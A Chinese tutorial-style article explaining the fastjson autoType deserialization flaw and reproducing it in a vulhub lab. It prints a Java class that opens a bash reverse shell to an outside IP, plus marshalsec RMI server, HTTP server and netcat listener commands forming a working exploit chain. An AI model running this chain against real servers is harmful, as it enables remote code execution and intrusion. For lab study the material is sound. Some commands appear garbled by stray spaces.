fastjson反序列化漏洞原理是什么?fastjson反序列化漏洞复现

阳光 2020-12-28 22:31:16 java常见问答 7343

Fastjson是Alibaba开发的,是java语言编写的高性能JSON库,被称Java语言中最快的JSON库,但是最近fastjson反序列化漏洞影响比较大,那么fastjson反序列化漏洞原理是什么?下面我们就来给大家讲解一下这方面的内容。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性值。而JDK自带的类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中有一个私有属性_bytecodes,其部分方法会执行这个值中包含的Java字节码。

想要使用TemplatesImpl的_bytecodes属性执行任意命令,有几个条件:

1、目标网站使用fastjson库解析json。

2、解析时设置了Feature.SupportNonPublicField,否则不支持传入私有属性。

3、目标使用的jdk中存在TemplatesImpl类。

这里漏洞环境主要是用vulhub上的两个fastjson漏洞搭建,搭建完成以后访问8090端口会出现如下所示:

fastjson反序列化漏洞原理是什么?fastjson反序列化漏洞复现.png

漏洞利用需要我们在vps上启一个RMI服务并调用class文件,这些我们都可以在一台服务器上完成。

首先我们先创建命令执行代码,执行命令反弹shell,创建test.java,使用命令javac test.java编译生成test.class(整个实验环境都是基于java8的基础上)。

import java.lang.Runtime;
import java.lang.Process;
public class test
{
    static
    {
        try
        {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {
                "bash"
                , "-c"
                , "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"
            };
            Process pc = rt.exec(commands);
            pc.waitFor();
        }
        catch (Exception e)
        {
            // do nothing
        }
    }
}

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类test.class

我们首先需要编译生成marshalsec-0.0.3-SNAPSHOT-all.jar,这里踩过一个坑,之前服务器上装的jdk11后来在操作过程中不断报错,后来经过排查发现这个jar包需要使用java8来进行编译。

git clone https: //github.com/mbechler/marshalsec
    cd marshalsec
mvn clean package - DskipTests

出现如下图所示代表编译完成,去target目录下即可查看到。

1.png

我们先启一个http服务方便等会加载test.class。

#
python2
python2 - m SimpleHTTPServer# python3
python3 - m http.server

然后我们再启RMI服务监听9999端口。

java - cp marshalsec - 0.0 .3 - SNAPSHOT - all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test

本地服务器监听8002端口。

nc - nvlp 8002

以上所有操作均在同一台服务器上完成。

了解到fastjson反序列化漏洞原理,我们也就可以做出解决方案了,最后大家如果想要了解更多json相关知识,敬请关注奇Q工具网。

推荐阅读:

java如何从键盘输入数据?方法技巧分享

java怎么避免死锁?产生死锁的原因是什么?

java零基础可以学吗?Java如何学好?